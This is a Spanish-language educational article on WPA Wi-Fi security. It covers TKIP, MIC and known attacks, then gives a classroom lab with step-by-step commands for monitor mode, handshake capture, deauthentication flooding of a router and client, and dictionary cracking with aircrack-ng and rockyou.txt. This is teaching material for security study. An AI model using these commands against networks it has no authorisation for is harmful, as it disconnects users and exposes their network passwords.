Seguridad de Redes Inalambricas – WPA

El protocolo WPA (Wi-Fi Protected Access) nació en 2003 como un parche de emergencia para la industria tecnológica. Diseñado por la Wi-Fi Alliance, su objetivo era tapar los agujeros catastróficos de su predecesor (WEP) sin obligar a los usuarios y empresas a tirar a la basura millones de routers y tarjetas de red que ya habían comprado.
El Contexto Histórico

Datos Técnicos y Arquitectura
Para lograr funcionar en hardware antiguo pero ofreciendo seguridad moderna, WPA realizó cambios profundos en la forma de gestionar las claves:
- Cifrado RC4 mantenido: WPA mantuvo el mismo motor criptográfico de WEP (RC4) para garantizar la compatibilidad física con las antenas existentes.
- TKIP (Temporal Key Integrity Protocol): Fue el corazón y cerebro de WPA. A diferencia de WEP, que usaba la misma clave fija para todo el tráfico, TKIP implementó una función de mezcla que genera una clave de cifrado nueva y única para cada paquete individual que viaja por el aire.
- MIC (Message Integrity Check – «Michael»): Un código matemático de 8 bytes añadido a cada paquete. Funciona como un sello de cera en una carta: garantiza que el paquete no fue alterado, falsificado o reinyectado por un atacante en el aire.
Autenticación dual: WPA introdujo la división de control de acceso que usamos hasta hoy:
- WPA-Personal (PSK): Usa una contraseña precompartida (Pre-Shared Key) de entre 8 y 63 caracteres.
- WPA-Enterprise (802.1X): Elimina la contraseña global. Cada usuario se conecta con sus propias credenciales, las cuales son validadas por un servidor centralizado (RADIUS).
Fortalezas (Por qué salvó al WiFi)
- Reutilización de Hardware: Fue una obra maestra de la ingeniería de software. Evitó pérdidas billonarias a las empresas al permitirles asegurar sus redes solo actualizando el software de sus Access Points de 1999.
- Erradicación de las colisiones IV: Al cambiar la clave dinámicamente por paquete con TKIP, eliminó por completo el ataque de recolección estadística masiva que destruyó a WEP.
- Prevención de Replay Attacks: Incorporó contadores de secuencia estrictos. Si un atacante capturaba un paquete y lo reenviaba más tarde (replay), WPA lo descartaba inmediatamente por tener un número de secuencia viejo.
Vulnerabilidades y Caída
WPA siempre fue diseñado para ser temporal. Al reutilizar el algoritmo RC4 subyacente, inevitablemente arrastró debilidades que los criptógrafos terminaron explotando:
Ataque Beck-Tews (2008): Demostró que TKIP podía ser vulnerado. Aprovechando cómo WPA maneja el protocolo QoS (Calidad de Servicio), este ataque permite a un atacante desencriptar pequeños fragmentos de datos (como peticiones ARP) e inyectar hasta 7 paquetes maliciosos en la red sin conocer la clave principal.
Ataque Ohigashi-Morii (2009): Una optimización agresiva del ataque de Beck-Tews que lo hizo mucho más rápido y aplicable a redes sin configuraciones específicas de QoS.
Fuerza Bruta al Handshake: Dado que WPA introdujo el «4-Way Handshake» (el mismo de WPA2) para negociar las claves con TKIP, heredó la vulnerabilidad a los ataques de diccionario offline. Si la contraseña PSK es corta o está en un diccionario, un atacante puede capturar el handshake y descifrarla externamente con GPU.
DoS por Contramedidas MIC: Si el router (Access Point) detecta dos paquetes con el código de integridad «Michael» alterado en menos de 60 segundos, asume que está bajo ataque y desconecta temporalmente a todos los clientes durante un minuto. Un atacante puede enviar paquetes corruptos a propósito para mantener la red apagada indefinidamente (Denegación de Servicio).
Estado actual: WPA (TKIP) está oficialmente obsoleto. La Wi-Fi Alliance prohíbe su uso en dispositivos certificados desde 2014, siendo reemplazado en su totalidad por WPA2 (AES) y actualmente por WPA3.
El método de Fuerza Bruta (o Ataque de Diccionario) al Handshake es la técnica más conocida y utilizada para vulnerar redes WPA y WPA2-Personal (PSK).
A diferencia de los ataques contra WEP (donde el atacante interactuaba con el router inyectando millones de paquetes), el ataque contra WPA/WPA2 es pasivo y offline. El atacante solo necesita escuchar un momento específico y luego puede llevarse el trabajo a su propia computadora.
1. El Objetivo: El «4-Way Handshake»
Cuando un dispositivo legítimo (como tu celular) se conecta a un router WPA/WPA2, no envía la contraseña por el aire. En su lugar, el celular y el router realizan un proceso criptográfico llamado 4-Way Handshake (Apretón de manos de 4 vías) que consta de cuatro paquetes especiales llamados EAPOL.
En este intercambio, ambos dispositivos utilizan la contraseña del WiFi (la PSK) como un ingrediente para crear una «llave temporal» de cifrado.
2. Los Ingredientes Públicos
Para generar esa llave temporal, el router y el celular mezclan matemáticamente cinco ingredientes. Cuatro de ellos viajan por el aire a la vista de cualquiera:
- MAC del Router (Pública)
- MAC del Cliente (Pública)
- ANonce: Un número aleatorio generado por el router (Público)
- SNonce: Un número aleatorio generado por el cliente (Público)
- La Contraseña del WiFi / PSK (El único ingrediente Secreto)
El último paquete del handshake contiene una firma criptográfica llamada MIC (Message Integrity Code). Esta firma es el resultado final de mezclar todos los ingredientes anteriores.
3. La Captura (Fase Online)
El atacante pone su tarjeta de red en «Modo Monitor» para escuchar el tráfico del aire y espera a que un usuario legítimo se conecte al WiFi. Si no quiere esperar, el atacante puede forzar la situación inyectando paquetes de Desautenticación (Deauth). Esto desconecta al usuario legítimo por un milisegundo; al reconectarse automáticamente, el dispositivo genera un nuevo «4-Way Handshake» que el atacante captura y guarda en un archivo.
4. La Fuerza Bruta (Fase Offline)
Una vez que el atacante tiene el archivo con el Handshake capturado, ya no necesita estar cerca del router. Se lleva el archivo a su casa y utiliza programas como Aircrack-ng o Hashcat.
El proceso matemático que hace la computadora del atacante es el siguiente:
- Toma la primera palabra de un Diccionario (por ejemplo, «12345678»).
- La mezcla matemáticamente con las MACs y los números aleatorios (Nonces) que capturó en el paso 2.
- Calcula su propio MIC (firma).
- Compara su MIC calculado con el MIC real que capturó del aire.
- Si no coinciden: La palabra «12345678» es incorrecta. Pasa a la siguiente palabra del diccionario.
- Si coinciden exactamente: Ha encontrado la contraseña real de la red.
¿Por qué funciona (y por qué falla)?
El hardware moderno: Este ataque depende del poder de procesamiento bruto. Mientras que un procesador normal (CPU) puede probar unos miles de contraseñas por segundo, las tarjetas gráficas modernas (GPU) de uso gaming o servidores en la nube pueden calcular cientos de miles o millones de contraseñas por segundo utilizando Hashcat.
La debilidad humana: El ataque rara vez es «Fuerza Bruta Pura» (probar a, b, c, d… hasta el infinito), ya que tomaría siglos descifrar claves largas. En su lugar, se usan Ataques de Diccionario, utilizando bases de datos filtradas (como RockYou.txt que contiene miles de millones de contraseñas reales) o reglas de mutación (probar «admin123», luego «Admin123», luego «admin123!»).
La defensa: La única defensa real en WPA2 contra este ataque es tener una contraseña larga, aleatoria y que no exista en ningún diccionario (ej. M!P3rr0C0m3Croqu3t@s_99). Si la contraseña es matemáticamente compleja, el atacante puede tener los equipos más potentes del mundo y aún así tardaría miles de años en adivinarla.
Nota: El nuevo estándar WPA3 solucionó esta vulnerabilidad al reemplazar el 4-Way Handshake por un protocolo llamado SAE (Simultaneous Authentication of Equals), el cual hace matemáticamente imposible realizar este tipo de ataques de diccionario offline.
Laboratorio en Clase
Dentro de un entorno controlado vamos a ejecutar el método de Fuerza Bruta al Handshake.
La Wifi para este laboratorio será Red_Laboratorio

En principio se suele utilizar Kali u otra distribución para este tipo de auditorías, sin embargo para el presente laboratorio usaremos Ubuntu Desktop 26.04 LTS e instalaremos las herramientas necesarias:
sudo apt update && sudo apt install wireless-tools net-toolssudo apt update && sudo apt install aircrack-ngIndentificamos la Interfaz Inalámbrica:
iw dev
Verificamos los modos soportados
iw listVerificamos que soporta el modo Monitor

Realizadas las comprobaciones continuamos con la auditoría, colando nuestra interfaz en modo monitor bajo los siguientes pasos
sudo ip link set wlx54b80a3ecd89 downsudo iw dev wlx54b80a3ecd89 set type monitorsudo ip link set wlx54b80a3ecd89 upVerificamos nuevamente que ya nos encontramos en modo Monitor:
iw dev
Podemos ejecutar un Test de inyección. Este comando lanza un escaneo general intentando responder a todos los puntos de acceso (Routers) cercanos que el adaptador logre escuchar:
sudo aireplay-ng --test wlx54b80a3ecd89Realizamos un escaneo general
sudo airodump-ng wlx54b80a3ecd89Observamos el ESSID de nuestro laboratorio «Red_Laboratorio», copiamos su dirección fisica (MAC)

Necesitaremos 2 ventadas de terminal, en la primera ejecutamos la captura del handshake y en la segunda ejecutamos la desconexión de los clientes.
Ventana 1
sudo airodump-ng -c 6 --bssid 50:C7:BF:B4:FB:C2 -w capwpa wlx54b80a3ecd89- sudo – elevamos permisos
- -c 6 – definimos canal
- –bssid 50:C7:BF:B4:FB:C2 – definimos MAC del ESSID
- -w capwpa – definimos nombre del binario .cap
- wlx54b80a3ecd89 – nuestra interfaz
- airodump-ng – es el sniffer y analizador de paquetes de la suite Aircrack-ng. Su función principal es escuchar pasivamente el espectro radioeléctrico y registrar todo el tráfico 802.11 que pasa por el aire cuando la tarjeta de red está en modo monitor

Ventana 2
Para capturar la contraseña cifrada, necesitamos que un dispositivo se desconecte y se vuelva a conectar. Enviaremos un ataque de desautenticación (deauth) de 30 paquetes:
sudo aireplay-ng -0 30 -a 50:C7:BF:B4:FB:C2 wlx54b80a3ecd89A fin de obtener mejor resultado podemos definir el cliente a desconectar mediante:
sudo aireplay-ng -0 30 -a 50:C7:BF:B4:FB:C2 -c 02:51:94:BB:F1:B4 wlx54b80a3ecd89- aireplay-ng – herramienta de la suite Aircrack-ng encargada de generar e inyectar tráfico en redes inalámbricas.
- -0 – define el modo de ataque como desautenticación. En este modo se transmiten tramas de gestión tipo 802.11 Deauthentication para ordenar la desconexión del cliente.
- 30 – el recuento de ráfagas de paquetes de desautenticación que enviará. Si se colocara 0, el envío sería indefinido hasta que el usuario detenga el proceso manualmente.
- -a 50:C7:BF:B4:FB:C2 – especifica la dirección MAC (BSSID) del punto de acceso (Access Point o router) legítimo.
- -c 02:51:94:BB:F1:B4 – especifica la dirección MAC de la estación o cliente objetivo (station MAC) al que se busca desconectar del punto de acceso.


Finamente ejecutamos fuerza bruta por diccionario al handshake capturado mediante una wordlist. Para nuestro laboratorio usaremos Rockyou.
sudo aircrack-ng -w /home/linux/Escritorio/WordList/rockyou.txt capwpa-02.cap

Herramienta Dust_Wifi – Soporte WPA Only
Dust-WiFi v2.0 — Educational Wireless Security & WPA Audit Kit
Dust-WiFi v2.0 es una herramienta educativa basada en TUI (Text User Interface) con whiptail diseñada para la enseñanza práctica de seguridad en redes inalámbricas IEEE 802.11, auditoría de protocolos WPA/WPA2-PSK y criptoanálisis de claves en entornos académicos y de laboratorio.
El objetivo del proyecto es permitir que los estudiantes de ciberseguridad, telemática e ingeniería de redes comprendan el funcionamiento interno del 4-Way Handshake, las tramas de gestión inalámbricas y los vectores de ataque/defensa, abstrayendo la complejidad sintáctica inicial de la consola pero manteniendo visibilidad de los comandos subyacentes.

